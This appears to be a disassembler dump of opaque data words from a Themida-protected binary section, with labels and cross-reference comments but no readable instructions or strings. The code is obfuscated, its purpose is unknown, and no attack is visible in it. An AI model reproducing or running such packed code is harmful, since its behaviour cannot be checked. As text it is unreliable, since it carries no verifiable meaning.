		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0B8C35545h
		dd 53755C4Eh, 819FF369h, 0F3A55EBh, 1853117h, 8D06151Dh
		dd 1888F985h, 29BD8B06h, 90061517h, 8E8h, 0BD0A7900h, 5A3C799Dh
		dd 11E903h, 3D6A0000h, 0F765DE6Bh, 41A50910h, 97668C0Eh
		dd 5B883F3Eh, 8E950h, 0C190000h, 0C34CB249h, 64906F9Dh
		dd 35FFh, 0B70F0000h, 258964F8h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 13C35040h
		dd 8ED747EEh, 0FFFD2738h, 15153585h, 0FF6AF906h, 66DABF0Fh
		dd 2E1BD781h, 3375B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 0C0FD84C3h, 2B4D6D13h
		dd 0FABFDF8Bh, 0FF157DC0h, 1508BD95h, 0F5E906h,	9D890000h
		dd 6150D01h, 0B8B300B0h, 9E870E6h, 0F9000000h, 84AE97D6h
		dd 875BD615h, 8971E45Bh, 1519CD95h, 0F613C06h, 0CA83h
		dd 0FF88B00h, 8589C8B6h, 61525C9h, 26C59D8Bh, 6BA0615h
		dd 1000000h, 1528B1BDh,	81C18B06h, 31CCCCFh, 4E8C134h
		dd 0F766CAB3h, 0F0F781E2h, 2B40B4F3h, 0F5D18BC8h, 21CDBD8Bh
		dd 88E90615h, 8B000000h, 15115DBDh, 44858B06h, 8B5F4C4Ch
		dd 15135DBDh, 7C08306h,	0C2B70F60h, 2685B58Bh, 83610615h
		dd 0BD2300C0h, 6152E5Dh, 830FD03Bh, 1Fh, 7810Fh, 66500000h
		dd 994ED781h, 6820F5Fh,	81000000h, 86CD8CD7h, 39E97Fh
		dd 8BF90000h, 0FFFFFF8Dh, 0F8CF81FFh, 8932D607h, 15033185h
		dd 1E18306h, 1D840Fh, 0A5830000h, 0FFFFFFFFh, 0C18531FEh
		dd 89061528h, 4C4C4495h, 0F703BF5Fh, 0E919B6h, 8D000000h
		dd 1971A4B5h, 0CE906h, 0D3D00000h, 66B47F2Bh, 0B514320Fh
		dd 6A8764h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	6AC35141h, 0E8A9C338h, 0Dh, 0BCFAD22Bh,	2F67FB1Ch
		dd 0A799FA31h, 5FFE8B75h, 10E8h, 0FBFCCE00h, 495DF507h
		dd 0CDDBD521h, 1621D88Ah, 599D8BD1h, 5B061522h,	2E2195FFh
		dd 0B5890615h, 6152EE1h, 0FE8B9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 4AC343F1h
		dd 86763347h, 0ADBD8B24h, 83061507h, 0BD2BFCE1h, 6151DDDh
		dd 56006AFCh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 1F8A6A03h, 82350470h, 8B0F5713h,	8, 69BD2952h
		dd 5F06152Dh, 28DDB589h, 0C02B0615h, 0BAh, 3D9D8900h, 8906151Ah
		dd 15251DBDh, 0C233AD06h, 0D003E8D1h, 7504E983h, 820FF4h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0C3CEC357h, 880DE7h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 81668AC3h, 0E89E53C7h, 0Eh, 0F9E7CE84h, 0BC11F4F7h
		dd 6864C8FDh, 8B5B30FEh, 15272195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0C463B828h
		dd 0F9F7E443h, 28CD9501h, 8D8B0615h, 61504CDh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 21C35545h, 8C20FED8h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0E9FCA2C3h, 0Dh, 0A0239B6Bh,	3F69A70Dh, 8DDDA6CDh, 0A9BD8333h
		dd 61518h, 73840Fh, 0B5890000h,	615182Dh, 0B8h,	11BD8B00h
		dd 8D061500h, 154F9E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0BD89296Dh, 6150C6Dh
		dd 0E1FFDF8Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	9AC35040h, 8166F8DBh, 0F98E9EBh, 687h, 23EF8100h
		dd 8B282498h, 1503C59Dh, 15BD8306h, 61511h, 3E7840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 1786FBC3h, 0BD9D8B11h, 9061506h, 152FF5B5h, 15BD8306h
		dd 1061511h, 3CA840Fh, 8B660000h, 15BD83DEh, 3061511h
		dd 384860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 2C086C3h, 0F9D11EA2h, 9D23C2A9h
		dd 615047Dh, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D894DFAh, 61501ADh, 8C66DD8Ah, 0DBB70FD9h
		dd 6A04E180h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0D898C353h, 6FC2E8FFh,	54CF723Bh
		dd 0D4D977BBh, 0FC90A01h, 10384h, 0F98B6600h, 249D858Bh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0E7E1CEC3h, 63952812h, 85333F53h,	61519B5h
		dd 1C81BD2Bh, 0C7810615h, 1BF1B014h, 0ABF50h, 48974C1h
		dd 50006A24h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 8E3B6BC8h, 942D3394h, 6A006AE8h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 40F7C351h, 66579BFBh, 685BFE8Bh, 9B7E4E70h, 81DA8B66h
		dd 0B58F2404h, 6A64A0h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 809DFAC3h, 57C14708h, 179BD8Bh
		dd 0FF5F0615h, 150DAD95h, 3FBB6606h, 99858963h,	6A0618BFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 20EAC353h, 0D19D8BF8h, 0E9061518h, 18Ah
		dd 0BF91858Bh, 0BD230618h, 6150CADh, 1800C7h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 8B525BC3h, 18BF95B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 30129F05h, 9A109216h
		dd 5E8C297h, 1000000h, 4AD1F1BAh, 1D0D8589h, 8B5F0615h
		dd 1508219Dh, 45858B06h, 6A06150Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F8CBC357h
		dd 0D625D687h, 89F94FEBh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0B5894EF6h
		dd 6152A8Dh, 249D858Bh,	0B70F0615h, 44689F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h, 5576D0E4h
		dd 807E2339h, 6E915CFh,	49000000h, 0BE1186DDh, 8B6650C0h
		dd 243489D9h, 2840Fh, 0D88B0000h, 0BF91B5FFh, 0BD8B0618h
		dd 6152681h, 0CBB68C68h, 0CE906h, 62760000h, 0FD1C3EA2h
		dd 1A520168h, 348186A2h, 0D4B57324h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 2FBADFEEh
		dd 29DBBF0Fh, 1507E18Dh, 99858D06h, 310618BFh, 15134D8Dh
		dd 800F9006h, 2, 66505B56h, 6690DE8Bh, 0BB66FA8Bh, 95FF0ACEh
		dd 6150DADh, 28E5BD8Bh,	29610615h, 151A0595h, 1585C706h
		dd 3061511h, 89000000h,	15229D8Dh, 858B6006h, 6151315h
		dd 99BD8361h, 618BFh, 40840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 2BDEB9C3h
		dd 803FD8D8h, 32E9C8F7h, 8A000000h, 9E8D8h, 0AD330000h
		dd 1B4309C6h, 89F01DD5h, 15119595h, 30505F06h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 29F84D68h, 6A66C2h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 7F9609C3h, 0FD8D3109h, 89061514h, 1514B185h,	15BD8306h
		dd 3061511h, 462850Fh, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BD898AC3h, 6150815h
		dd 0BF99BD83h, 0F000618h, 43384h, 998D8900h, 0FF061505h
		dd 18BF99B5h, 4DBF6606h, 0CD9D8979h, 0FF06150Ah, 1510E195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0A0D40C8Eh, 0B58B54D4h, 618BF8Dh, 13158D89h
		dd 6C70615h, 10001h, 9E950F5h, 44000000h, 2BC52750h, 138F9699h
		dd 8B243489h, 99B5FFF9h, 290618BFh, 151E0D9Dh, 0A195FF06h
		dd 6A061506h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 5424C352h, 0CA34342Eh,	6632BCD0h
		dd 37BCB81h, 0BF8DB58Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 1594D8C3h, 57193CE6h
		dd 0FB64ED2h, 586h, 0CF816600h,	858B43BDh, 6150059h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C4C35343h, 89A3A059h
		dd 0C486h, 35B50100h, 8B061530h, 15272195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1D16C548h, 0FDE14433h, 9589645Bh, 61516E1h, 6604C283h
		dd 5089FA8Bh, 55006A20h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8DB06746h, 18D45885h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 3243EAADh, 0E8F43020h, 0CE9h, 7F65D600h, 1923220Eh
		dd 0E904246Ch, 89DE8BD8h, 0B886h, 6AF800h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0F9C35343h, 0F5913D68h
		dd 178F0Fh, 12E90000h, 6000000h, 0E364D103h, 22A91906h
		dd 0B3F3DDA4h, 0A16C4490h, 0FFF88B6Ch, 18BF99B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 168276C7h, 95FF50B3h, 6151D4Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 45C35242h, 0A4174325h, 0AE9F0h
		dd 0CB2E0000h, 6F73470Ah, 8DC41582h, 24CD9D8Bh,	66960615h
		dd 0F50D98Bh, 289h, 96F98B00h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 26C35747h, 26E97AB6h, 3A57B103h
		dd 0FFDA8B66h, 18BF99B5h, 0A59D2906h, 0FF061517h, 15072995h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0FDA033B9h, 0AC4235C4h, 899D8B8Eh, 8306150Dh
		dd 150065BDh, 840F0006h, 21h, 5E9h, 79731900h, 0E996B9BAh
		dd 8, 0BB864767h, 29C3B808h, 96FB8B50h,	0BECF8166h, 99B5FFD2h
		dd 6A0618BFh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 5C90C351h, 8B66A497h, 3995FFF8h
		dd 6A061504h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E85CC356h, 0BF99B5FFh, 9D8B0618h
		dd 6152F2Dh, 0DCD95FFh,	5E90615h, 0B3000000h, 986F29DFh
		dd 285DBD83h, 0F020615h, 9F84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 75C9C66Dh
		dd 6E20D09Eh, 8BD98BA0h, 15284985h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 0F77D1F4h
		dd 666030BDh, 0E8754DBBh, 12h, 0A505031Ah, 0ACFCB935h
		dd 0F4A34180h, 2E3603DDh, 0BD8B34C6h, 61526D1h,	9D8B615Ah
		dd 61522D9h, 6A0000C6h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 8D02C353h, 4CF3C8B2h
		dd 1B05D1B2h, 23F585C7h, 615h, 6A0000h,	3E852h,	5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1869D6C3h
		dd 22F7E7ECh, 0AE9B2h, 37050000h, 0FCE9707Ah, 49E01FCh
		dd 0FFF361E9h, 53006AFFh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 6AC18B08h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 9367C352h
		dd 0DBD0BFF8h, 8B0F6ABEh, 0
		dd 8DFA8B66h, 15279D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0C32F6977h, 9D8B3316h
		dd 6150815h, 50D4DB80h,	9E85060h, 69000000h, 3A747FEh
		dd 74702F00h, 89615A5Eh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 6A5C23C3h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 16407C46h, 352B51E2h, 10E8h,	0F23BEF00h, 8AB59AFEh
		dd 0AF95FCD0h, 8356FA2Ch, 399529D6h, 5F061509h,	6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0CC9BFC3h, 5584719h,	6810F2Ch, 89000000h, 1534798Dh
		dd 4B858D06h, 0F9061A09h, 9799D89h, 0C0830615h,	0CF816605h
		dd 50908A0Fh, 0F5B5252h, 0E3D3BF31h, 585A0864h,	0FE8B6650h
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 810FCD6Dh, 2, 6ADE8Ah, 6AF88B66h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 22CA5ED4h, 9E887h
		db 2 dup(0)
word_5CA2B6	dw 5980h		; DATA XREF: Themida_:0057C918o
		dd 57C9A8B4h, 66781F02h, 5BCD61BBh, 267995FFh, 9D890615h
		dd 6152EE9h, 9C158D8Dh,	0BD8B0618h, 61533D9h, 0DE9h, 4281B00h
		dd 95C641ADh, 0E6C1BAF1h, 0D1FFA420h, 0B5BD83F5h, 106152Dh
		dd 7C850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 190424h, 50400000h, 69EC9AC3h, 6AFD0DC6h, 57006A02h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 4DBD8B46h, 50061502h, 0AE95250h, 9D000000h, 9B7EB3A1h
		dd 146F55F4h, 0F310F50h, 38Dh, 0FA8B6600h, 489585Ah, 8B0F24h
		dd 0FF000000h, 151D4D95h, 3810F06h, 0F000000h, 0A6E9DBB7h
		db 0Ch,	2 dup(0)
byte_5CA37F	db 0E8h			; DATA XREF: Themida_:0057A114o
		dd 0
		dd 55ED815Dh, 0F061A09h, 6AFEBFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0B40530C3h, 8949ED74h
		dd 1506E59Dh, 0F9858D06h, 6A061888h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 3CE5C350h
		dd 0CF711286h, 81112B5Dh, 765CFAD3h, 8C0F501Fh,	2, 489FE8Bh
		dd 0FD9D2924h, 6406152Eh, 35FFh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F2447C3h
		dd 389h, 0B3C78000h, 258964h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 96C3C357h
		dd 48A0Fh, 0BB660000h, 9D33FD57h, 61528E1h, 153585FFh
		dd 0B5890615h, 61502BDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF2EBEC3h, 150009B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 2B6CE3AAh, 1526F99Dh, 0BD95FF06h, 0E9061508h
		dd 0FEh, 0B0DF8Bh, 2ABD9D89h, 70E60615h, 2459BD31h, 71E40615h
		dd 0F613CF5h, 0E183h, 8E800h, 6EA80000h, 0A94B5258h, 8F0F7E5Ch
		dd 6, 10D1BD29h, 0F5F0615h, 8166C8B6h, 8B1D3FEFh, 150AE1BDh
		dd 6BA06h, 820F0000h, 6, 1558D89h, 0C18B0615h, 14B59589h
		dd 0E8C10615h, 2DBD2B04h, 66061510h, 0BD8BE2F7h, 6151735h
		dd 0C4B7C82Bh, 0E9F9D18Bh, 82h,	699BD8Bh, 858B0615h, 47554C50h
		dd 13899D8Bh, 0C0830615h, 1BD8907h, 8306150Eh, 0B50900C0h
		dd 6150519h, 0D6E8BF66h, 830FD03Bh, 10h, 0CE24F8BBh, 48E929h
		dd 9D310000h, 6152AEDh,	0FFFF8D8Bh, 0E183FFFFh,	33840F01h
		dd 29000000h, 15212185h, 0FFA58306h, 0FEFFFFFFh, 89FA8B66h
		dd 554C5095h, 0FE847h, 58200000h, 37918F84h, 97424EE6h
		dd 760CD07Ah, 95F380A9h, 0E95Fh, 0B58D0000h, 619818Ch
		dd 232D8D29h, 6A0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 32C35242h, 0E9C3563Ah, 13h, 5539FFAFh
		dd 3542F4D2h, 0B85F5A70h, 5132FAD0h, 0FF39585Bh, 152E2195h
		dd 0CBB9F806h, 6000000Eh, 0E9F28B66h, 14h, 46D7CF0Bh, 43BE92ACh
		dd 0C2C37BA6h, 0FD764888h, 5217714Ah, 0FCE18361h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D8C35343h, 7D6EA7ECh
		dd 80F33C60h, 0D58D898Eh, 66061527h, 0A6DFDB81h, 0C02BF8FCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D4C35040h
		dd 0BAE9FA21h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h
		dd 46FC4B57h, 0EE9h, 0E66AE700h, 2280375Bh, 0D1195ED5h
		dd 0ADAECBA2h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0DC87C353h, 0E8068C2Eh, 10h
dword_5CA6E4	dd 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h,	26259D89h
					; DATA XREF: Themida_:0057AE44o
		dd 895F0615h, 151415BDh, 880D06h, 8E90000h, 0DC000000h
		dd 5D1D503Ah, 8B3D2121h, 15272195h, 0C381F906h,	5AAA6D0h
		dd 4CD8D8Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 73EB5AC3h, 9B9510B3h, 8B500BA5h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E6C35646h, 800FAA05h
		dd 6, 2275BD23h, 9D230615h, 61512FDh, 6AD9B70Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0E853C353h, 71AA30D6h, 0F83EAF77h, 18A9BD83h, 0F000615h
		dd 7884h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CD9D095Bh, 0B806152Dh, 0
		dd 8DF8F98Bh, 154F9E8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 6AE1FFE9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 47DC351h
		dd 0CF593D60h, 81E8ADB5h, 28E01DCBh, 15BD837Fh,	61511h
		dd 3A0840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 8337ACC3h, 151115BDh, 840F0106h
		dd 391h, 8353F380h, 151115BDh, 860F0306h, 34Bh,	6A60F5h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0F529C5C3h, 9CF791CFh, 58D0F97h, 66000000h, 0EB5D781h
		dd 1D19B589h, 8C660615h, 41BD89D9h, 80061523h, 6A04E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E69E93C3h, 287372B7h, 0E99FD14Ch, 12h, 9415D25Ch, 98594C10h
		dd 0F4B03EEEh, 0DD37AE68h, 8D09A154h, 61507C1h,	840FC90Ah
		dd 0E9h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 14h,	0D3C35040h, 2379B589h, 8B600615h, 1525D585h, 858B6106h
		dd 615249Dh, 0B58533F8h, 0E9061519h, 7,	0B0B28557h, 90C6DBB8h
		dd 48C0F51h, 66000000h,	5B445ABBh, 6A9050h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 5F134AC3h
		dd 0C3AAAA7Bh, 7EBB66A3h, 999D8B62h, 6A06151Dh,	0E343BF00h
		dd 0BD8B289Eh, 61505D5h, 73743868h, 7BF6623h, 2434815Dh
		dd 236C77C7h, 1605BD0Bh, 0BD8B0615h, 615167Dh, 0DAD95FFh
		dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0DF2A97C3h, 0BF998589h, 9D890618h, 6150FD5h
		dd 16DE9h, 0DBD8B00h, 3106152Fh, 151A558Dh, 91858B06h
		dd 6A0618BFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 81A1C350h, 1CC49CCBh, 0EDB5892Fh
		dd 0C706152Ah, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 925B631Dh, 8B62E663h
		dd 18BF95B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0D4DEF8FCh, 0D3E7183Ah, 30A99D8Bh
		dd 858B0615h, 6150C45h,	59D8Bh,	6890615h, 11E9h, 39BF5700h
		dd 3567A95h, 520782E1h,	0D1AEDA10h, 0A9BB43E9h,	8B4DA0B9h
		dd 15249D85h, 0D8DB8006h, 81044689h, 0A26590DBh, 0EEB3502Ch
		dd 66243489h, 0B5FFD98Bh, 618BF91h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 55C35040h, 807468FEh, 14E9A3C7h
		dd 54000000h, 2A6A8CBh,	450A9198h, 2ACC21EEh, 0D371CE26h
		dd 8135D3FAh, 838B2404h, 9D8B5C57h, 6150C49h, 0BF99858Dh
		dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B6B10C3h, 150CD1BDh, 0C159BB06h,	5090433Ah
		dd 5E9h, 5F20000h, 6690CBFEh, 95FFF98Bh, 6150DADh, 2399BD89h
		dd 8B610615h, 15169D9Dh, 68E0F06h, 8B000000h, 150D4D9Dh
		dd 1585C706h, 3061511h,	8B000000h, 1516BDBDh, 99BD8306h
		dd 618BFh, 45840Fh, 11E80000h, 73000000h, 0DB80C6F2h, 43C9CCCEh
		dd 0DF36B25Bh, 24064432h, 0AE8h, 543C3300h, 0AC41D346h
		dd 66B8E717h, 7380CB81h, 2FE95F5Bh, 8B000000h, 152F959Dh
		dd 0BD896006h, 6150655h, 10419589h, 50610615h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD89C08Bh
		dd 6153011h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	52C35646h, 17FEB9C7h, 852947F9h, 6152869h, 1115BD83h
		dd 0F030615h, 37885h, 0D19D2B00h, 83061503h, 18BF99BDh
		dd 840F0006h, 365h, 9819D89h, 0B5FF0615h, 618BF99h, 0CF5BD29h
		dd 95FF0615h, 61510E1h,	0B58BDA8Bh, 618BF8Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 34C35141h, 5CD2CD33h
		dd 106C7D9h, 66000100h,	0F668D381h, 24348950h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 11C35343h, 0B5FF78D2h
		dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	8CC35747h, 3124C717h, 0FFC833C1h, 1506A195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0BF94AA25h, 9195E6DCh, 0C281609Dh, 145E4D40h, 0C6DBD29h
		dd 8B610615h, 18BF8DB5h, 12E906h, 4AC70000h, 648DF453h
		dd 42D090DFh, 0F92C04F9h, 0D3CE78BEh, 59858Bh, 0BD8B0615h
		dd 6150321h, 0C48689h, 8D890000h, 6151889h, 2721958Bh
		dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 6C6360C3h, 34459501h, 810F0615h, 6, 2F5D9D31h
		dd 0C2830615h, 95896004h, 6150AB9h, 0A0B7BE66h,	28F0F61h
		dd 8B000000h, 205089F9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 4C35545h, 58858D90h, 6A0618D4h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0F120C352h, 7B3A095Fh, 1605BD23h, 86890615h,	0B8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0A4C35747h, 40A6C600h
		dd 248E0B90h, 6A006ACEh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 265BC357h, 9D330DDDh
		dd 61521B5h, 24A9BD33h,	0B5FF0615h, 618BF99h, 0FF57D380h
		dd 151D4D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8B9604E8h, 810F50FEh, 4, 0EBFFBB66h
		dd 5E996h, 7BCE0000h, 0FF01AC6Bh, 18BF99B5h, 6890F06h
		dd 81000000h, 213BFEDFh, 2995FF74h, 0BF061507h,	72FF4884h
		dd 65BD83h, 0F000615h, 4D84h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 6EF1214Dh
		dd 10E8h, 5FB74900h, 99CD587Fh,	0CDC4D5D0h, 2C2E3CCDh
		dd 658529EBh, 5F061502h, 8B525050h, 66310FF8h, 585AF98Bh
		dd 66243489h, 0B5FFF88Bh, 618BF99h, 61F68160h, 667ABB73h
		dd 615DCDBBh, 43995FFh,	0B5890615h, 6151031h, 0BF99B5FFh
		dd 2FB70618h, 0DCD95FFh, 95010615h, 61519CDh, 285DBD83h
		dd 0F020615h, 4284h, 0E8E1B300h, 5, 1C870E0Ah, 8B5FF8D4h
		dd 15284985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 58C6FA3Ch, 171D12BAh, 2E599509h
		dd 0C60615h, 0C75B5700h, 1523F585h, 6, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 5812372Dh, 66002B66h, 0A78EC781h, 0F48EE9FCh, 6AFFFFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 11B410C3h, 958944FCh, 6150191h
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 56EA1EC3h, 89A302F3h, 1519CD85h, 9D858D06h
